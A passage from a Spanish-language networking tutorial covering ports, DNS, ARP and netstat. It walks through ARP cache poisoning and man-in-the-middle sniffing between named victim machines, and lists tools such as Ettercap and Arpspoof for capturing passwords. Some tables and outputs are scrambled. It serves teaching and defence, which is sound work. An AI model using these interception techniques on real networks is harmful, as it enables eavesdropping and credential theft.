servidores y. es decir. un servidor FTP y un servidor de correo en la misma máquina) mas los que se requieren para conectarnos (navegar por una página en Internet puede ocupar unos diez puertos de los efímeros). 25 Orianna [127.0. connection refused significa que se ha rechazado la conexión.1] 137 (netbios­ns) : Connection refused Orianna [127. Open significa que el puerto está abierto. pueden mostrar directamente que pertenece al protocolo FTP.

En sistemas Linux podemos usar el comando tail. ~$ cat /etc/services ftp              fsp              ssh              ssh              telnet          smtp             time             time             rlp              nameserver       whois            21/tcp 21/udp  22/tcp      22/udp 23/tcp 25/tcp           37/tcp           37/udp           39/udp           42/tcp           43/tcp           # SSH Remote Login Protocol mail timserver timserver resource        # resource location name            # IEN 116 nicname Aquí puede verse la lista completa actualizada http://www. ~$ tail /etc/services binkp            asp              csync2           dircproxy        tfido            fido             24554/tcp                       # binkp fidonet protocol 27374/tcp                       # Address Search Protocol 30865/tcp                       # cluster synchronization tool 57000/tcp                       # Detachable IRC Proxy 60177/tcp                       # fidonet EMSI over telnet 60179/tcp                       # fidonet EMSI over TCP Se indica el nombre del servicio. en vez del HTTP se use otro protocolo. El reparto que indica la RFC 3232 no es más que una convención orientativa. Esto ocurre en la mayoría de los sistemas modernos. tan solo debemos indicarlo cuando sea la hora de enlazar el puerto con la aplicación que escuche. desplegará un número en vez de una palabra. si se borra una línea del archivo de texto no suele ocurrir nada. Tambien puede usarse el comando cat si se desea ver todos los puertos y sus números asignados por IANA. el puerto que usa como servidor y un comentario del programa servidor o protocolo que representa. Otra cosa que hay que tener en mente es que nada impide que en el puerto 80. Hay que tomar en cuenta que en algunos sistemas antiguos existe la posibilidad de que no funcionen bien si no encuentran la línea correspondiente del archivo. Estos archivos son simplemente informativos. tan solo que el sistema operativo. y un servidor HTTP puede escuchar sin ningún problema en el puerto 80 que en el 8950. cuando necesite mostrar alguna información relacionada con el puerto. Regularmente. Una utilidad de este archivo es que nos ayuda a detectar un puerto abierto en una máquina y nos puede dar una idea de la aplicación que posiblemente puede estar escuchando detrás.org/assignments/port-numbers.iana. 79 .

. por lo que alguien ingenió un mecanismo para convertir las cadenas ASCII en direcciones de red. el DNS es la invención de un esquema de nombres jerárquico basado en dominio y una base de datos distribuida para implementar este esquema de nombres. Los DNS mantienen tablas que permiten traducir la dirección de Internet (IP).com. . . . . . que entonces busca el nombre y devuelve como resultado la dirección IP al resolvedor. El usuario se conecta a él para que le diga la dirección IP del dominio. . . : Difusión Id. El DNS se usa principalmente para relacionar las direcciones de host y destinos de correo electrónico con las direcciones IP. etc. Sin embargo.168. : Enrutamiento IP habilitado. Con este comando se mostrará su contenido: cat /etc/resolv. . pasándole el nombre como parámetro. : No Resolución NetBIOS usa DNS . . . . Y así nació el Sistema de Nombres de Dominio (o DNS) En esencia. después el nombre del dominio.2wire. . .Servidores DNS Los programas pocas veces hacen referencia a los hosts.conf # generated by NetworkManager.: No WINS Proxy habilitado. . .com. La dirección IP no es más que un número binario de 32 bits que identifica inequívocamente a un host conectado a Internet. El segundo o subsiguientes sólo se usan en caso de que el primero dejara de responder.com. . la persona necesita un servidor DNS para poder navegar. Al conectarse al Internet. En Linux dos DNS se encuentran en un archivo de texto. y el servidor DNS se conecta a otros hasta dar con la relación adecuada. los programas usan cadenas ASCII como gerryson@gmail. . Los dominios se resuelven de derecha a izquierda. un software de aplicación llama a un procedimiento de librería llamado resolvedor (de to resolve. pero también puede usarse con otros fines.net nameserver 192. . en español). . : O8Z0E9 Servidores DNS . como muchos pudieran pensar. . resolver.com.254 80 .1. la red misma solo entiende direcciones binarias. . En lugar de números binarios. . do not edit! search gateway. . El resolvedor envía un paquete UDP a un servidor DNS local. : [Si hay conexión a Internet debe poner algo] Tipo de nodo . o enviarle paquetes UDP. . de ámbito NetBIOS. . que entonces lo devuelve al solicitante. . Con la dirección IP. . buzones de correo y otros recursos por sus direcciones binarias de red. el programa puede entonces establecer una conexión TCP con el destino. nunca al revés. con estructura de árbol invertido. . : No Es normal que como mínimo haya dos. Para relacionar un nombre con una dirección IP. Con el comando en Windows ipconfig /all podemos ver las computadoras que sirven de DNS: ipconfig /all Configuración IP de Windows Nombre del host. a una dirección del tipo meristation. primero están los . . . . .

.. los resultados los escribirá en el archivo de texto con nombre cachedns.: Un registro (Host).. CNAME significa “nombre canónico” y es un alias para que una máquina pueda ser recordada por su nombre y no por su IP en pasos intermedios de la cadena DNS.. En ese archivo podremos ver todos los servidores que se han visitado y el tiempo de vida que la computadora los mantendrá en memoria......  /release_all ­ Libera todos los adaptadores.:852 Longitud de datos... Tecleamos ipconfig ? y se nos mostrará si aparece la opción /displaydns o nos aparece lo siguiente: ipconfig ? Configuración IP de Windows  Opciones de línea de comandos:  /All ­ Muestra información detallada.........  /Batch [archivo] ­ Escribe en el archivo o . aunque en algunos sistemas no aparece ningún dato.......OUT  /renew_all ­ Renueva todos los adaptadores..:4 Sección...txt Con el modificador > en vez de mostrarlos en pantalla..:4 Sección.cualquierdominio.. que mantiene en la memoria las asociaciones nombrededominio IP para no tener que estar pidiendo constantemente esa información.com Nombre de  registro.:852 Longitud de datos. 81 .:Answer Registro CNAME..:Answer Registro CNAME..: 123... En Winxx se puede ver la caché con el comando ipconfig /displaydns....com Nombre de  registro. En caso de que sí nos aparezca la opción y en caso de que naveguemos mucho por la Gran Red lo mejor será que la info la redirijamos hacia un archivo de texto de la siguiente manera: Ipconfig /displaydns >C:\cachedns......com Tipo de registro.El último eslabón de la resolución DNS lo constituye la propia computadora... Los datos tendrán un formato similar al que sigue: www......com Tipo de registro.  /release N ­ Libera el adaptador N.dominio....123. /WINIPCFG.cualquierdominio.....123 Aquí se observa la estructura de árbol..: Dns1....._ Dns1....:5 Tiempo de vida...  /renew N ­ Renueva el adaptador N.:1 Tiempo de vida.dominio.123.: www. Para borrarlos podemos usar el comando: Ipconfig /flushdns Con esto se borrará la caché y se creará una nueva con datos actualizados....

123. Mediante esta conexión.123:80 (para HTML) El navegador (cliente web o HTTP) es el que se encarga de coordinar todo el proceso para que la página se nos muestre correctamente en nuestra pantalla. el cliente y el servidor.direccion.TUCOMPU:5000­><­DNS:53 Una vez que sabemos esto. Netscape.123.123:80 Con esta información..123. supongamos que es el 6000. 123. el cliente HTTP comienza su trabajo y escoge otro puerto aleatoriamente. para iniciar la conversación HTTP. Hay que anotar que la comunicación entre puertos se mueve en la capa de transporte. Dependiendo del par cliente-servidor que usemos.123. TUCOMPU:6000 123.123. deben entenderse mutuamente.exe del Internet Explorer Desde el punto de vista del cliente.direccion.123. el cliente (el navegador) consigue la página web en formato HTML. Ésto es básicamente lo que ocurre cuando navegamos por la Internet. ocurren muchas cosas. por ejemplo.123:80 (para imágen 2) TUCOMPU:60003 ­><­ 123. El servidor DNS. conseguimos saber que la verdadera dirección IP de www. etc. TUCOMPU:60001 ­><­ 123. que a través de varios puertos.com.com es. 82 . pues las páginas contienen imágenes. En nuestra máquina se abre un puerto aleatorio por encima del 1024.123. digamos el 5000.123. puede descargar concurrentemente acelerando la conexión y la “bajada de la página”.123.Sesión Cliente-Servidor Mediante TCP La mayoría de las aplicaciones cliente-servidor fueron desarrolladas basándose bien en TCP o en UDP que son protocolos que ya explicamos en sus capítulos correspondientes.123. sino varias. Pero no solo crea una conexión. porque para que la comunicación sea correcta. procesa el pedido y devuelve la información IP numérica. el par de programas. del que ya platicamos en el capítulo anterior. Servidor HTTP (o Web) IIS Apache Servidor de Correo Sendmail Qmail Exchange Servidor de FTP Wu-FTP ProFTPd Clientes Web Internet Explorer Opera. código java. abrimos un navegador como el Opera y tecleamos la dirección web: www. Éste puerto efímero tiene como objetivo el puerto 53 del servidor de nombres (Domain) que tengamos configurado en nuestra PC (DNS).123.. Firefox Clientes de Correo Outlook Express Eudora Opera mail client. la interpreta y nos la muestra tal y como la vemos normalmente. Cliente FTP CuteFTP ftp.123:80 (para imágen 1) TUCOMPU:60002 ­><­ 123.

A estos se les conoce como correos Web porque leemos nuestros correos a través de web. Para el ejemplo anterior.Por ejemplo. aunque se dedique al correo. está definida en RFC 1725. para recoger nuestro correo. llamada POP3. la más reciente y más utilizada.123. Ahora es el cliente de correo el que se encarga de hablarle en el idioma adecuado para que los correos se descarguen y puedan ser leídos por el usuario. Cuando conectamos nuestro cliente de correo -Outlook o Eudora. éstas acciones no deben confundirse con el hecho de ver los correos vía Web. No  confundir con PoP (Con 'o' minúscula). es algo más sencillo. el cliente vuelve a elegir un puerto alto (suponiendo que sea el 4000) y se conecta al 110 (Pop319) que es el puerto estándar para el protocolo de gestión de correos: TUCOMPU:4000 ­><­ 123. pero con lo que tratamos es con servidores web. Esta dupla de [direcciónIP:puerto. en su infraestructura. como por ejemplo en Yahoo o Gmail. Yahoo y Gmail son servidores web. es decir. 19Post Office Protocol ­­ POP (Protocolo de Oficina de Correos) Protocolo diseñado para permitir a sistemas de usuario individual leer  correo electrónico almacenado en un servidor.123. 83 . con sus puertos 110 y 25 abiertos y escuchando. Por detrás. direcciónIP:puerto] representa los lazos de comunicación establecidos entre dos máquinas y debe ser único en Internet para evitar interferencias.y pulsamos “recoger” o “descargar” correo. no existe una conexión cliente de correo ni servidor de por medio.123:110 Y ya la conexión está establecida. La Versión 3. por lo que no es válido como ejemplo de servidor de correo. mantienen cientos de servidores reales de correo.

 . . .0  Máscara de subred. . Es por esto que se garantiza que no habrá 2 tarjetas de red con la misma dirección MAC. . Para conocer la dirección MAC de nuestra tarjeta de red tecleamos desde la línea de comandos: C:\ Ipconfig /all 1 Ethernet adaptador:   Descripción  . Se encuentra almacenada en la misma tarjeta de red. Estos paquetes no pueden ser entregados sin la capa de enlace de datos. . . . . añade una cabecera para la entrega y los envía por el cable al conmutador (switch). los fabricantes de dispositivos tienen por convención no fabricar dos tarjetas de red con el mismo número. . . . Los primeros 24 identifican al fabricante del software. La MAC es la dirección asociada a la tarjeta de red. . . Aquí entra en juego la MAC (Control de Acceso a Medios). por lo que se asigna un número único a cada tarjeta de red que conocemos como dirección MAC. son entregados por Ethernet. . tiene una cabecera con la dirección MAC de la computadora de origen y la de destino. Una es la dirección IP: cada computadora debe tener una dirección IP única para poder comunicarse. . .  Dirección física . : Sí  Dirección IP . para que todo mundo conozca que 192. por lo que debe ser única y no se puede cambiar. todavía queda por resolver cómo se asocia esa IP a esa máquina en particular. esta debe ser muy grande para evitar las repeticiones. . .MAC y ARP MAC (Media Access Control) Aunque las PCs se identifiquen siempre por una IP. y los 24 restantes correponden al número de serie asignado por el fabricante. .255  El formato de la dirección es del tipo XX:XX:XX:XX:XX:XX.168. . IP se comunica construyendo paquetes que son similares a los marcos. .0. . . . Al haber una dirección MAC por cada tarjeta en el mundo. .0. Cada marco. ARP (Address Resolution Protocol) El ARP o Protocolo de Resolución de Direcciones es un protocolo de redes locales (LAN).255. : 0. : PPP Adapter. : 0. . Las direcciones IP son en realidad virtuales (a diferencia de las direcciones MAC) y se asignan via software. . El switch decidirá a qué puerto enviar el marco después de comparar la dirección destino del marco con una tabla que mapea números de puertos y direcciones MAC. que divide los paquetes en marcos. No siempre se usa en Internet. . . . pero con distinta estructura. .0  Puerta de enlace predeterminada:   Servidor DHCP . . .255. 84 . : 255. Dirección MAC Recordemos brevemente que una computadora conectada a una red LAN IP/Ethernet posee dos direcciones. Ethernet construye marcos de datos (frames) que están formados por bloques de 1500 bytes. . . . IP y Ethernet deben trabajar en equipo. Una duplicación de MACs causaría un gran conflicto en la red.0.125 es efectivamente quien dice ser que es.0. Donde las X son números hexadecimales. La otra es la dirección de la tarjeta de red. En nuestro caso. . Veamos y desglosemos la información: Para poder distinguir unas maquinas de otras en una red local. La dirección MAC consta de 48 bits.0. . . . conocida también como la dirección física. . . : 44­45­53­54­00­00 <­­Esta es la dirección MAC DHCP habilitado.

 ­p. Cuando una computadora recibe una respuesta ARP. Es en este momento del partido donde entra a jugar el ARP. solo que en lugar de '/' se usa '-'). Así mismo. actualizará su caché ARP con la nueva asociación IP/MAC. Su modo de actuar es mas o menos así: cuando una PC quiere enviar información a otra. Tanto Winxx como Linux cuentan entre sus programas con una utilería llamada ARP que nos permite experimentar con ese protocolo. ­­verboso             ­n. Pero cuando se envían datos dentro de una red local. porque se supone que cualquier dato que se envía está destinado al equipo que se encuentra al otro lado de la línea con una dirección IP. Las opciones primarias son limpiar una entrada del mapeo de la dirección y configurar una de modo manual. hay que especificar claramente a quién van dirigidos. los sistemas operativos mantienen una memoria caché de respuestas ARP. Modo de operar de ARP. ­­dispositivo         ­D. preguntando “¿Tu dirección IP es esta x. ARP funciona enviando paquetes de petición ARP (ARP requests). ARP es un comando que permite manipular la caché ARP del kernel de varias maneras.x? Si es así.Cuando se consolida un marco Ethernet. La mayoría de los sistemas operativos actualizarán su caché ARP si recibe una respuesta ARP. ­­numérico          ­i. Sin embargo. para propósitos de depuración. arp [­vn]  [<HW>] [­i <if>] [­a] [<hostname>]       <­Muestra la caché ARP arp [­v]    [­i <if>] ­d  <host> [pub]               <­Borra una entrada ARP arp [­vnD] [<HW>] [­i <if>] ­f  [<filename>]       <­Agrega una entrada desde un archivo arp [­v]   [<HW>] [­i <if>] ­s  <host> <hwaddr> [temp]     <­Agrega una entrada arp [­v]   [<HW>] [­i <if>] ­Ds <host> <if> [netmask <nm>] pub <­''­ ­a                        ­s. que llega a las computadoras en la LAN. ­­Configura       ­d. ­­archivo               Muestra (todos) los hosts en un estilo alternativo (BSD) Configura una nueva entrada ARP Borra una entrada especificada Verbosidad No resuelve los nombres Especifica la interfaz de red (ejemplo: eth0) Lee <hwaddr> de un dispositivo dado Especifica una familia de protocolos Lee nuevas entradas de un archivo o desde /etc/ethers 85 . sin importar si han enviado una petición en realidad. ­­Borra              ­v.x. Debe haber por ahí alguna manera en que el protocolo Ethernet conozca la dirección MAC de la máquina destino con respecto de la dirección IP. La finalidad es no tener que volver a hacer esto cada vez que se necesite un intercambio de datos. La PC que tenga esa IP responde con un paquete llamado Respuesta ARP (ARP reply) que contiene su MAC y en ese momento se guarda en la memoria caché de la máquina la asociación IP-MAC Para minimizar el número de peticiones ARP que son difundidas (broadcasted). usa la dirección de Broadcast. incluyendo aquellas en una red conmutada. Ethernet no tiene idea cuál es la dirección MAC de la máquina destino que necesita para crear una cabecera Ethernet. envíame tu dirección MAC”. La única información que tiene disponible es la IP de destino de la cabecera del paquete. Esto no sucede con una comunicación telefónica mediante módem a Internet. al momento de la construcción. C:\>arp /? y ~$ arp -h en Linux Aparecerá la forma en que se utilizan las opciones del comando ARP.x. ­­protocolo     ­f. Si escribimos en la línea de comandos de DOS o en una terminal en Linux (Las opciones son iguales si se usan en una terminal en Linux. este deberá ser construido a partir de un paquete IP. ­­uso­dispositivo  ­A. el programa ARP nos posibilita hacer un volcado completo de la caché del ARP.

que sucedería si se logra cambiar la MAC de la PC? Cosas interesantes. quedando esta información almacenada en su caché ARP.168. En el siguiente capítulo aprenderemos la técnica del ARP Spoofing.~$ arp -a El comando arp con la opción -a nos muestra las asociaciones actuales IP-MAC con las que cuenta la computadora. Se podrían. No copiando su MAC.2 PC­C Atacante MAC 03:03:03:03:03:03 IP 192. 86 . Cambiar la Dirección MAC ¿Ahora. Veamos el siguiente ejemplo: PC­A Primera víctima MAC 01:01:01:01:01:01 IP 192. simplemente adoptando la personalidad del emisor.0. espiar las comunicaciones que se efectúan entre dos máquinas concretas que se hallen en diferentes segmentos. aunque solo temporalmente.1 01:01:01:01:01:01 Hay que considerar que esto hará que se pierda la comunicación con esa máquina. Con el comando arp también podemos asociar nosotros mismos una dirección IP con una dirección MAC a nuestro antojo: ~$ arp –s 192. Cuando la PC-A envíe los paquetes a la PC-B con nuestra dirección MAC estos nos llegarán a nosotros. sino haciéndole creer que la MAC de cada una es la de nosotros.3 La PC-C es la nuestra. ya que las cachés repondrán la información con el resultado de nuevas consultas automáticas.0. A la PC-A se le dice que la dirección de Ethernet de la PC-B es la nuestra.1 PC­B Segunda víctima MAC 02:02:02:02:02:02 IP 192. por ejemplo.0.0.168.168. y devolviendo los paquetes a su legítimo dueño.168. Desde aquí se envían paquetes de respuesta ARP falsos a la PC-A y a la PC-B que son los dos hosts a los que deseamos espiar.

0. Veamos la siguiente situación: se envía un flujo constante de paquetes manipulados (con la intención de que la caché ARP de las computadoras se actualice con la información verdadera) a la PC-A y a la PC-B con los siguientes datos: PC­A: arp­reply informando que 192. nos llegará a nosotros.0. no solo se pueden espiar comunicaciones. solo lo envían por la boca del switch que ha “aprendido” está en la máquina destino. ya sea nombres de usuarios o contraseñas. Para esto tenemos que tratar los paquetes que recibamos en función del host de orígen: Paquetes procedentes de HOST­A > Reenviar a 02:02:02:02:02:02 Paquetes procedentes de HOST­B > Reenviar a 01:01:01:01:01:01 Así.168.ARP Spoofing El ARP spoofing20 es una de las varias vulnerabilidades que existen en los modernos protocolos de red. puede hacerse que una computadora blanco envíe marcos. Con el conocimiento adquirido durante la trayectoria de lectura de este documento. solo es aplicable en redes Ethernet corriendo IP. Esto ya depende de la habilidad y el interés de cada persona. el host no podrá comunicarse con el exterior. Cuando se envían respuestas ARP falsas. Cuando reciben un paquete. Ahora bien. A partir de este momento. En estas redes los paquetes sólo son enviados a la máquina destino y el resto de los equipos solo verán su tráfico y el de broadcast.2 tiene la dirección MAC 03:03:03:03:03:03 PC­A: arp­reply informando que 192.  87 . toda comunicación con el exterior pasará por nuestra computadora. Por obvias razones. Las posibilidades de controlar por completo la red son muy altas. Con las técnicas mostradas aquí. los paquetes que se envíen entre ambas. si desechamos todos los paquetes y no los reenviamos al gateway. Sólo tenemos que hacer uso de un sniffer para poder capturar y filtrar el tráfico entre ambas. ARP-spoofing (Sniffers en Redes Segmentadas) Es casi difícil esnifar en redes que utilizan switches en vez de hubs. incluso la sesión completa. para que se dirijan a la computadora B. si envenenamos una caché ARP de una máquina para hacernos pasar por el gateway de la red. para que ningún host note nada extraño y todo parezca normal. Se pueden hacer ataques DoS. siempre debemos hacer llegar los paquetes a su destino final. Envenenamiento ARP El procedimiento de ARP spoofing involucra el falseamiento de las respuestas ARP. la computadora A ni se da cuenta de que hubo un desvío de datos. adoptando otra identidad de remitente para engañar a  un cortafuegos. Los switches “aprenden” a que boca del switch están conectados cada máquina (internamente crean una tabla con correspondencias IP-MAC-Switch).1 tiene la dirección MAC 03:03:03:03:03:03 De esta forma se envenena la caché ARP. Cuando se hace de la manera adecuada. podremos ser capaces de comprender los puntos claves de este capítulo. originalmente destinados a la computadora A. Pero cuidado. la comunicación entre ambas computadoras no se ve interrumpida y podemos ver todo el tráfico entre ellas. Al proceso de actualizar el caché ARP de una computadora con respuestas ARP falsas se le conoce con el nombre de Envenenamiento ARP (o ARP poisoning).168. 20Pocedimiento que cambia la fuente de origen de un conjunto de datos en una red. Solo hay que saber emplearlas. que permiten que un individuo bien entrenado ponga su trono en una red que considere su reino. Conocemos como ARP spoofing al procedimiento de explotar la interacción de los protocolos IP y Ethernet.

Con la técnica del arp spoofing se puede engañar al switch para que nos envíe un tráfico que no nos pertenece. el arspoof y la suite Dsniff que detallaremos en el su propio capítulo. cuando se enciende el switch. examinando la MAC de origen del primer marco transmitido en cada puerto. la estación B reenvía los datos a la pasarela Las herramientas utilizadas para este método son el ettercap. Luego. es una de ellas. pero la estación B lo intercepta. La promiscuidad la trataremos con detalle en el capítulo que habla sobre los sniffers. con objeto de capturar el tráfico de esas computadoras. Véase la figura que muestra el patrón de tráfico de un ataque de esta naturaleza: La estación A envía su tráfico a la pasarela por defecto (Default Gateway). Esto evita el esnifado de los marcos de otra persona. donde se les permite examinar los marcos que son destinados a direcciones MAC que no son las propias. se debe utilizar una herramienta de redirección de ARP para hacer que una computadora o grupo de ellas piense que la computadora enmascarada (que está esnifando) es la pasarela (gateway) de la red.Los switches determinan que marcos van a qué puerto al comparar la dirección MAC en un marco con una tabla. En redes conmutadas no es de gran preocupación porque el switch enruta los marcos basándose en la tabla descrita arriba. Esta tabla contiene una lista de puertos y la dirección MAC a que van sujetos. Para un ataque man-in-the-middle. Las tarjetas de red pueden ponerse en modo promiscuo. existen varias maneras en que se puede llevar a cabo un esnifado. Empleando la técnica del arp spoofing. Esta utilería permite que la pasarela falsa esnife el tráfico resultante. La tabla se construye. 88 . y el ataque por intermediarismo (man-in-the-middle).

según nuestro antojo. La computadora maliciosa enviará los marcos entre las dos computadoras blanco para que la comunicación no se vea interrumpida. ARPoison http://web. 89 . la tabla puerto/MAC del switch se verá desbordado. lo cual hará que se tarde. MAC y arp-spoofing. Ettercap es un potente programa que usa una interfaz de usuario en modo texto. en vez de dirigirse a ellas. y ya hay un retardo de 1 milisegundo entre peticiones. Esto es extremadamente potente al considerar que no solo las computadoras pueden envenenarse. etc.0. Parasite. y por su nombre. Todo el tráfico IP de B1 y B2 irá primero a X.Cuando un ataque man-in-the-middle (MIM) es llevado a cabo. Al mismo tiempo. Ettercap muestra un listado de hosts encontrados en la LAN. Ettercap.syr. un usuario malicioso inserta su computadora justo en el camino de comunicaciones entre dos computadoras blanco.edu/~sabuer/arpoison/ ARPoison es una herramienta que se utiliza con la línea de comandos. Posibilita la creación de respuestas ARP. a una tasa extremadamente rápida. el programa envía un ARP REQUEST (petición ARP) de las IP teniendo en cuenta la IP del host donde se esté ejecutando y la máscara de red. sino también los routers y los gateways. que nos permiten manipular. Aquí es donde ocurre el esnifado. Los resultados varían según la marca. La incursión ocurre de la manera siguiente (donde X es la máquina atacante y B1 y B2 son las máquinas blanco) X envenena la caché ARP de B1 y B2.net Es un programa de gran utilidad ya que esnifa en redes por switches y por hubs. Con esta utilería podremos especificar direcciones IP y MAC de origen y destino. Para realizar esta búsqueda. B2 asocia la IP de B1 con la dirección MAC de X. En el modo gráfico. pero en este punto. Obteniendo los ARP REPLYs podemos componer la lista de hosts presentes en la red. Otro método de esnifado sobre una red conmutada es la inundación MAC (MAC flooding). porque si es de clase B (255. los paquetes de datos que contienen la información sobre la MAC: Arpoison. puede usarse en entorno gráfico o de comandos. podemos imaginarnos para qué fue creado. Permite varios tipos de sniffeo: por IP.sourceforge.0) el programa realizará 255x255=65025 peticiones. Ettercap http://ettercap. Al enviar ARP replies spoofeadas a un switch. Herramientas Existen varias herramientas que se pueden encontrar buscando en Google. Arpspoof Con la utilería Arpspoof podremos generar arp falsos con el fin de esniffar el tráfico de un único equipo o de una red completa.255. Todo el tráfico de Internet para un host puede ser interceptado con este método ejecutando un MIM en una computadora blanco y un router de LAN. Es tan fácil de usar que cualquier scriptkiddie puede aprovechar sus ventajas. Arp-fun. algunos switches se revertirán al modo de difusión y se podrá ejecutar el esnifado fácilmente. B1 asocia la IP de B2 con la dirección MAC de X. Todas las operaciones están automatizadas y las computadoras blanco son elegidas desde una lista en menú con todos los hosts detectados en la red local. Se debe tener cuidado con la máscara de red que se use.

De hecho. las respuestas ARP falseadas son ignoradas.4shared. Así mismo. La Detección como defensa. Con el tiempo. 3. Tristemente. podrá adquirir estos conmutadores. La Defensa No existe una defensa universal contra el ARP spoofing. Puede emplearse la herramienta gratuita Arpwatch cuya acción es la de escuchar buscando respuestas ARP en una red. es difícil de detectar. la única defensa posible es utilizar entradas ARP estáticas.html 90 . por lo que el resultado es un DoS de todas las computadoras envenenadas. Sin embargo hay compañías que en su presupuesto. se envía de inmediato un correo electrónico al administrador de la red. Cuando la dirección MAC asociada a una IP es modificada (evento conocido como flip-flop). dejando la dirección MAC del atacante presente en los correos del Arpwatch. ARP y ARP público. La forma de descubrir que hay un "intermediario" en nuestra conexión. es decir. y a la que le preocupe la seguridad de sus datos en la red. pero en una red con DHCP activado donde estos flipflops ocurren a intervalos regulares. no tienen contemplado este tipo de protección. 4. Una empresa con los suficientes recursos. será examinar la caché ARP de la máquina y comprobar si existen dos máquinas con la misma dirección MAC. Construye una tabla con asociaciones IP/MAC y las almacena en un archivo. Inyecta caracteres en las conexiones Esnifa sesiones encriptadas SSH Recolecta contraseñas Mata conexiones también Parasite Parasite es un daemon que vigila las peticiones ARP en una LAN y automáticamente envía respuestas ARP falsas. automatiza los siguientes procedimientos: 1. con lo que se sabotea el propósito de las rutas estáticas. Parasite no hace una limpieza adecuada cuando ha parado su ejecución. Dado que las entradas ARP estáticas no pueden ser actualizadas. en la mayoría de las LAN esto no es factible dado el costo elevado de tratar de mantener las tablas actualizadas. También pueden encontrarse utilerías que permiten cambiar la dirección MAC de la computadora. Existen en el mercado conmutadores (switches) inteligentes que evitan en su programación todo tipo de engaños con la MAC. 2.com/file/13742358/9fde04ab/GentleMACPro_Setup. Con esto se coloca a una computadora atacante como intermediaria para cualquier computadora que esté difundiendo (broadcasting) y haciendo peticiones ARP. Algunas pruebas han mostrado que Winxx acepta respuestas ARP espofeadas y actualiza la entrada estática con la MAC falsa. las tablas ARP deben tener una entrada estática por cada máquina en la red. Esto es debido a que sus cachés ARP se encuentran apuntando a una dirección MAC que ya no está enviando sus marcos. Parasite causa un montón de flip-flops.Ettercap puede ejecutar cuatro métodos de esnifado: IP. o por simple negligencia. Para evitar el falseamiento. como el GentleMacPro que puede descargarse desde http://www. Ettercap causa varios flip flops. Estos conmutadores son una solución adecuada para evitar este tipo de problemas de seguridad. esto resulta en un ataque MIM por toda la LAN y todos los datos en el switch pueden ser esnifados sin tanto esfuerzo. Las entradas ARP envenenadas deben expirar antes de que se resuma la operación normal. MAC. que estas no cambien.

aunque su poder y eficacia lo muestra más en Linux. Ésto puede ser una señal de que alguien se nos ha infiltrado y nos está robando información. La cosa cambia cuando la computadora es nuestra. aunque estos no interesen tanto. Lo hace el software de AOL. dos grandes compañías entran como Juan por su casa a nuestras computadoras. C:\>netstat -a En Linux. más frecuentemente de lo que quisieramos. ya que es de muy poca utilidad saber qué puerto ha elegido en ese instante la computadora objetivo para descargar una página. Si aplicamos un escaneador de puertos a nuestra propia computadora (aplicarlos a otras sabemos que es un delito) podremos obtener una gran cantidad de datos que nos pueden ayudar a saber cómo se comporta nuestra máquina. es conveniente curiosear un poco en los puertos de nuestra máquina. Los sevicios pueden ir desde correo hasta bases de datos. son programas imprescindibles en el kit de los hackers o los expertos en seguridad (que para efectos de nuestro documento. podemos considerarlos sinónimos). Conocer los puertos a la escucha nos proporciona información detallada acerca de los servicios que tenemos instalados como servidores. En base a esto.Escaneadores de Puertos Los programas escaneadores de puertos (port scanners en inglés) son herramientas muy versátiles que ayudan a los operadores y administradores de sistemas a comprobar la seguridad de los servidores. Desde la consola de comandos se invoca al programa y se le aplica una serie de opciones. Contra la creencia popular. pasando por troyanos. inclusive el Security Edition 9. Es por esto que nunca está de más permanecer atentos a lo que sucede a nivel TCP y UDP en nuestra máquina. Conocer los puertos efímeros que hablan en nuestra computadora nos proporciona información sobre lo que nuestra máquina está haciendo. abrimos una terminal o consola de comandos y tecleamos ~$ netstat ­a  Active Internet connections (servers and established) Proto Recv­Q Send­Q Local Address Foreign Address          State tcp        0       0  *:nfs                    *:*      LISTEN  tcp        0       0  *:netbios­ssn            *:*                LISTEN tcp        0       0  Orianna:ipp              *:*                    LISTEN tcp        0       0  *:smtp                   *:*         LISTEN tcp        0       0  *:microsoft­ds           *:*                  LISTEN udp       0       0 *:nfs                    *:*                       udp       0       0 *:netbios­ns             *:*      91 . Los escaneadores de puertos preguntan de forma automatizada si existe un puerto de los efímeros abierto a la escucha o “hablando”. si se esta comunicando con otra y a través de qué puerto lo hace. Esto nos posibilita estar a la defensiva contra cualquier atacante. Al mismo tiempo. de los que hablaremos más adelante en este documento. Vamos a discutir un poco acerca de programas escaneadores de puertos y la forma de saber si están escaneando puertos y poder prevenir un ataque. Netstat El programa básico que lleva a cabo la tarea de ver los puertos en servicio tanto en Windows como en Linux se llama Netstat.0 y también lo hace Microsoft.

añadiéndole un parámetro numérico que le indicará al programa el intervalo en segundos en el que se refrescará la información. Cuando en “Dirección remota” aparezca algo como usuario:0 significa que la computadora está escuchando en esos puertos.1:ipp           *:smtp    *:microsoft­ds Estados De Los Puertos Existen varios estados en que se pueden encontrar los puertos y al escanearlos nos podemos encontrar con los siguientes: ● ● ● ● ● ● Los puertos pueden estar listening (escuchando) a modo de servidor. Time_Wait es el estado que hace referencia a que la conexión ha sido cerrada pero que no se elimina de la tabla de conexión por si queda pendiente algo de recibir. se queda sin la certidumbre de si el puerto está cerrado o abierto para él o si en realidad siquiera existe algún servicio escuchando detrás de él. que indica que la conexión sigue abierta. El que escanea nuestros puertos y recibe este estado. si está escuchando o hablando. Los puertos pueden estar closed (cerrado). En las conexiones UDP. ~$ netstat -a 3 Nos mostrará la información refrescándola cada tres segundos.0. En la columna de la izquierda vemos el protocolo a que pertenecen los puertos. Otros puertos pueden estar en estado Close_Wait. También existe el modo stealth (sigiloso) en el que no se tiene constancia de que exista el puerto. no está activo.Esto nos muestra someramente sobre los puertos abiertos y hacia dónde se dirigen o de donde vienen.0. en la cabecera de la columna. lo que indicaría que aunque existe un programa escuchando en ellos. Otro comando en Linux sería el ss que nos daría la misma información. es decir. el servicio que presta ha sido detenido. o sea escuchando. el puerto esta en listen. Otros puertos estarán en conexión established (conexión ya establecida) y comunicándose con el servidor. pero el otro extremo nos comunica que no va a enviar nada más. Como recordaremos. Estos pueden ser los puertos altos. Netstat no muestra la dirección remota debido a que UDP no está orientado a la conexión. Es lo mejor para negar toda información. Para que Netstat permita la visualización de las conexiones en tiempo real. el cual nos indica precisamente en qué estado se encuentra el puerto. Se usa Ctrl+C para detenerlo.: ~$ ss ­a State       Recv­Q  LISTEN      0       LISTEN      0       LISTEN      0       LISTEN      0       LISTEN      0       Send­Q         0                   0                     0           0             0                  Local Address:Port  *:nfs                  *:netbios­ssn              127. 92 . es necesario invocarlo con sus opciones. la diferencia es que nos muestra los puertos a la escucha. En este ejemplo. los puertos bajos (por debajo de 1024) son servidores. Netstat no nos informará de puertos que estén cerrados o en Stealth. A estos puertos llegarán conexiones remotas y es por donde pueden 